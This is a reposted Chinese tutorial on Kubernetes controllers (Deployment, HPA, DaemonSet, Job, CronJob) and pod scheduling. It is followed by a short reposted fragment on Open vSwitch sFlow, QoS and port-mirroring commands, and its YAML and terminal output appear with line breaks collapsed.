这种方式相当于使用vi编辑修改yaml配置的内容，进去后将nginx的值改为nginx:1.71.2，保存后自动生效kubectl edit rs pc-replicaset -n dev 4、删除rs 第一种方式kubectl delete -f rs.yaml 第二种方式 ,如果想要只删rs，但不删除pod，可在删除时加上--cascade=false参数（不推荐）kubectl delete rs pc-replicaset -n dev --cascade=false 2、Deployment k8s v1.2版本后加入Deployment；这种控制器不直接控制pod，而是通过管理ReplicaSet来间接管理pod；也就是Deployment管理ReplicaSet，ReplicaSet管理pod；所以 Deployment 比 ReplicaSet 功能更加强大 当我们创建了一个Deployment之后，也会自动创建一个ReplicaSet 功能 支持ReplicaSet 的所有功能 支持发布的停止、继续 支持版本的滚动更新和回退功能 配置模板 新建文件 apiVersion: apps/v1 版本号kind: Deployment 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: deployspec: 详情描述replicas: 3 副本数量revisionHistoryLimit: 3 保留历史版本的数量，默认10，内部通过保留rs来实现paused: false 暂停部署，默认是falseprogressDeadlineSeconds: 600 部署超时时间（s），默认是600strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxSurge: 30% 最大额外可以存在的副本数，可以为百分比，也可以为整数maxUnavailable: 30% 最大不可用状态的 Pod 的最大值，可以为百分比，也可以为整数selector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建和删除Deployment 创建pc-deployment.yaml，内容如下： apiVersion: apps/v1kind: Deployment metadata:name: pc-deploymentnamespace: devspec: replicas: 3selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 创建和查看 创建deployment，--record=true 表示记录整个deployment更新过程[root@k8s-master01 ~] kubectl create -f pc-deployment.yaml --record=truedeployment.apps/pc-deployment created 查看deployment READY 可用的/总数 UP-TO-DATE 最新版本的pod的数量 AVAILABLE 当前可用的pod的数量[root@k8s-master01 ~] kubectl get deploy pc-deployment -n devNAME READY UP-TO-DATE AVAILABLE AGEpc-deployment 3/3 3 3 15s 查看rs 发现rs的名称是在原来deployment的名字后面添加了一个10位数的随机串[root@k8s-master01 ~] kubectl get rs -n devNAME DESIRED CURRENT READY AGEpc-deployment-6696798b78 3 3 3 23s 查看pod[root@k8s-master01 ~] kubectl get pods -n devNAME READY STATUS RESTARTS AGEpc-deployment-6696798b78-d2c8n 1/1 Running 0 107spc-deployment-6696798b78-smpvp 1/1 Running 0 107spc-deployment-6696798b78-wvjd8 1/1 Running 0 107s 删除deployment 删除deployment，其下的rs和pod也将被删除kubectl delete -f pc-deployment.yaml 2、扩缩容 deployment的扩缩容和 ReplicaSet 的扩缩容一样，只需要将rs或者replicaSet改为deployment即可，具体请参考上面的 ReplicaSet 扩缩容 3、镜像更新 刚刚在创建时加上了--record=true参数，所以在一旦进行了镜像更新，就会新建出一个pod出来，将老的old-pod上的容器全删除，然后在新的new-pod上在新建对应数量的容器，此时old-pod是不会删除的，因为这个old-pod是要进行回退的； 镜像更新策略有2种 滚动更新（RollingUpdate）：（默认值），杀死一部分，就启动一部分，在更新过程中，存在两个版本Pod 重建更新（Recreate）：在创建出新的Pod之前会先杀掉所有已存在的Pod strategy：指定新的Pod替换旧的Pod的策略， 支持两个属性：type：指定策略类型，支持两种策略Recreate：在创建出新的Pod之前会先杀掉所有已存在的PodRollingUpdate：滚动更新，就是杀死一部分，就启动一部分，在更新过程中，存在两个版本PodrollingUpdate：当type为RollingUpdate时生效，用于为RollingUpdate设置参数，支持两个属性：maxUnavailable：用来指定在升级过程中不可用Pod的最大数量，默认为25%。maxSurge： 用来指定在升级过程中可以超过期望的Pod的最大数量，默认为25%。 重建更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: Recreate 重建更新 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.2 -n devdeployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-5d89bdfbf9-65qcw 1/1 Running 0 31spc-deployment-5d89bdfbf9-w5nzv 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-65qcw 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-w5nzv 1/1 Terminating 0 41spc-deployment-675d469f8b-grn8z 0/1 Pending 0 0spc-deployment-675d469f8b-hbl4v 0/1 Pending 0 0spc-deployment-675d469f8b-67nz2 0/1 Pending 0 0spc-deployment-675d469f8b-grn8z 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-hbl4v 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-67nz2 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-grn8z 1/1 Running 0 1spc-deployment-675d469f8b-67nz2 1/1 Running 0 1spc-deployment-675d469f8b-hbl4v 1/1 Running 0 2s 滚动更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate:maxSurge: 25% maxUnavailable: 25% 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.3 -n dev deployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-c848d767-8rbzt 1/1 Running 0 31mpc-deployment-c848d767-h4p68 1/1 Running 0 31mpc-deployment-c848d767-hlmz4 1/1 Running 0 31mpc-deployment-c848d767-rrqcn 1/1 Running 0 31mpc-deployment-966bf7f44-226rx 0/1 Pending 0 0spc-deployment-966bf7f44-226rx 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-226rx 1/1 Running 0 1spc-deployment-c848d767-h4p68 0/1 Terminating 0 34mpc-deployment-966bf7f44-cnd44 0/1 Pending 0 0spc-deployment-966bf7f44-cnd44 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-cnd44 1/1 Running 0 2spc-deployment-c848d767-hlmz4 0/1 Terminating 0 34mpc-deployment-966bf7f44-px48p 0/1 Pending 0 0spc-deployment-966bf7f44-px48p 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-px48p 1/1 Running 0 0spc-deployment-c848d767-8rbzt 0/1 Terminating 0 34mpc-deployment-966bf7f44-dkmqp 0/1 Pending 0 0spc-deployment-966bf7f44-dkmqp 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-dkmqp 1/1 Running 0 2spc-deployment-c848d767-rrqcn 0/1 Terminating 0 34m 至此，新版本的pod创建完毕，就版本的pod销毁完毕 中间过程是滚动进行的，也就是边销毁边创建 4、版本回退 更新 刚刚在创建时加上了--record=true参数，所以在一旦进行了镜像更新，就会新建出一个pod出来，将老的old-pod上的容器全删除，然后在新的new-pod上在新建对应数量的容器，此时old-pod是不会删除的，因为这个old-pod是要进行回退的； 回退 在回退时会将new-pod上的容器全部删除，在将old-pod上恢复原来的容器； 回退命令 kubectl rollout： 版本升级相关功能，支持下面的选项： status 显示当前升级状态 history 显示 升级历史记录 pause 暂停版本升级过程 resume 继续已经暂停的版本升级过程 restart 重启版本升级过程 undo 回滚到上一级版本（可以使用–to-revision回滚到指定版本） 用法 查看当前升级版本的状态kubectl rollout status deploy pc-deployment -n dev 查看升级历史记录kubectl rollout history deploy pc-deployment -n dev 版本回滚 这里直接使用--to-revision=1回滚到了1版本， 如果省略这个选项，就是回退到上个版本kubectl rollout undo deployment pc-deployment --to-revision=1 -n dev 金丝雀发布 Deployment控制器支持控制更新过程中的控制，如“暂停(pause)”或“继续(resume)”更新操作。 比如有一批新的Pod资源创建完成后立即暂停更新过程，此时，仅存在一部分新版本的应用，主体部分还是旧的版本。然后，再筛选一小部分的用户请求路由到新版本的Pod应用，继续观察能否稳定地按期望的方式运行。确定没问题之后再继续完成余下的Pod资源滚动更新，否则立即回滚更新操作。这就是所谓的金丝雀发布。 金丝雀发布不是自动完成的，需要人为手动去操作，才能达到金丝雀发布的标准； 更新deployment的版本，并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy pc-deployment -n dev　 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了，继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题，就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA，使用deployment可以手动调整pod的数量来实现扩容和缩容；但是这显然不符合k8s的自动化的定位，k8s期望可以通过检测pod的使用情况，实现pod数量自动调整，于是就有了HPA控制器； HPA可以获取每个Pod利用率，然后和HPA中定义的指标进行对比，同时计算出需要伸缩的具体值，最后实现Pod的数量的调整。比如说我指定了一个规则：当我的cpu利用率达到90%或者内存使用率到达80%的时候，就需要进行调整pod的副本数量，每次添加n个pod副本； 其实HPA与之前的Deployment一样，也属于一种Kubernetes资源对象，它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况，来确定是否需要针对性地调整目标Pod的副本数，也就是HPA管理Deployment，Deployment管理ReplicaSet，ReplicaSet管理pod，这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件，内容如下： apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源（上限）cpu: "1" CPU限制，单位是core数requests: 请求资源（下限）cpu: "100m" CPU限制，单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件，内容如下： apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ，pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标，如果cpu使用率达到3%就会进行扩容；为了测试方便，将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测，然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS，ds可以保证在集群中的每一台节点（或指定节点）上都运行一个副本，一般适用于日志收集、节点监控等场景；也就是说，如果一个Pod提供的功能是节点级别的（每个节点都需要且只需要一个），那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点： 每当向集群中添加一个节点时，指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时，Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值，可以为百分比，也可以为整数selector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml，内容如下： apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然，你也可以运行多次，配置好即可，Job特点如下： 当Job创建的pod执行成功结束时，Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时，Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限，超过时间还未结束，系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod，默认是falseselector: 选择器，通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板，当副本数量不足时，会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明：（这里只能设置为Never或者OnFailure） 如果指定为OnFailure，则job会在pod出现故障时重启容器，而不是创建pod，failed次数不变 如果指定为Never，则job会在pod出现故障时创建新的pod，并且故障pod不会消失，也不会重启，failed次数加1 如果指定为Always的话，就意味着一直重启，意味着job任务会重复去执行了，当然不对，所以不能设置为Always 1、创建一个job 创建pc-job.yaml，内容如下： apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到，pod在运行完毕任务后，就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来，调整下pod运行的总数量和并行数量 即：在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job，观察效果，此时会发现，job会每次运行3个pod，总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ，CronJob控制器以 Job控制器资源为其管控对象，并借助它管理pod资源对象，Job控制器定义的作业任务在其控制器资源创建之后便会立即执行，但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说，CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略，用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数，默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数，默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板，用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项：schedule: cron表达式，用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开； 范围可以用连字符给出；可以作为通配符； /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行，如果上一次运行尚未完成，则跳过下一次运行Replace: 替换，取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml，内容如下： apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下，一个pod在哪个node节点上运行，是通过scheduler组件采用相应的算法计算出来的，这个过程是不受人工控制的； 调度规则 但是在实际使用中，我们想控制某些pod定向到达某个节点上，应该怎么做呢？其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上，通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity ：节点亲和性，调度到关系好的节点上 2、podAffinity：pod亲和性，调度到关系好的pod所在的节点上 3、PodAntAffinity：pod反清河行，调度到关系差的那个pod所在的节点上 污点（容忍）调度 污点是站在node的角度上的，比如果nodeA有一个污点，大家都别来，此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上，因为这种定向调度是强制性的，所以如果node节点不存在的话，也会向上面进行调度，只不过pod会运行失败； 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上，这种方式跳过了scheduler的调度逻辑，直接将pod调度到指定名称的节点上，配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上，它是通过k8s的label-selector机制实现的，也就是说，在创建pod之前，会由scheduler用matchNodeSelecto调度策略进行label标签的匹配，找出目标node，然后在将pod调度到目标node； 要实验NodeSelector，首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 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... collector监听的IP地址和端口，端口默认为6343 header: sFlow在采样时截取报文头的长度 polling: 采样时间间隔，单位为秒 ovs-vsctl -- --id=@sflow create sflow agent=eth0 target=\"10.0.0.1:6343\" header=128 sampling=64 polling=10 -- set bridge br0 sflow=@sflow 2.查看创建的sflow ovs-vsctl list sflow 3.删除对应的网桥sflow配置，参数为sFlow UUID ovs-vsctl remove bridge br0 sflow 7b9b962e-fe09-407c-b224-5d37d9c1f2b3 4.删除网桥下所有sflow配置 ovs-vsctl -- clear bridge br0 sflow 1 QoS配置 ingress policing 1.配置ingress policing，对接口eth0入流限速10Mbps ovs-vsctl set interface eth0 ingress_policing_rate=10000 ovs-vsctl set interface eth0 ingress_policing_burst=8000 2.清除相应接口的ingress policer配置 ovs-vsctl set interface eth0 ingress_policing_rate=0 ovs-vsctl set interface eth0 ingress_policing_burst=0 3.查看接口ingress policer配置 ovs-vsctl list interface eth0 4.查看网桥支持的Qos类型 ovs-appctl qos/show-types br0 端口镜像配置 1.配置eth0收到/发送的数据包镜像到eth1 ovs-vsctl -- set bridge br0 mirrors=@m \ -- --id=@eth0 get port eth0 \ -- --id=@eth1 get port eth1 \ -- --id=@m create mirror name=mymirror select-dst-port=@eth0 select-src-port=@eth0 output-port=@eth1 2.删除端口镜像配置 ovs-vsctl -- --id=@m get mirror mymirror -- remove bridge br0 mirrors @m 3.清除网桥下所有端口镜像配置 ovs-vsctl clear bridge br0 mirrors 4.查看端口镜像配置 ovs-vsctl get bridge br0 mirrors Open vSwitch中有多个命令，分别有不同的作用，大致如下： ovs-vsctl用于控制ovs db ovs-ofctl用于管理OpenFlow switch 的 flow ovs-dpctl用于管理ovs的datapath ovs-appctl用于查询和管理ovs daemon 转载于:https://www.cnblogs.com/liuhongru/p/10336849.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30876945/article/details/99916308。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

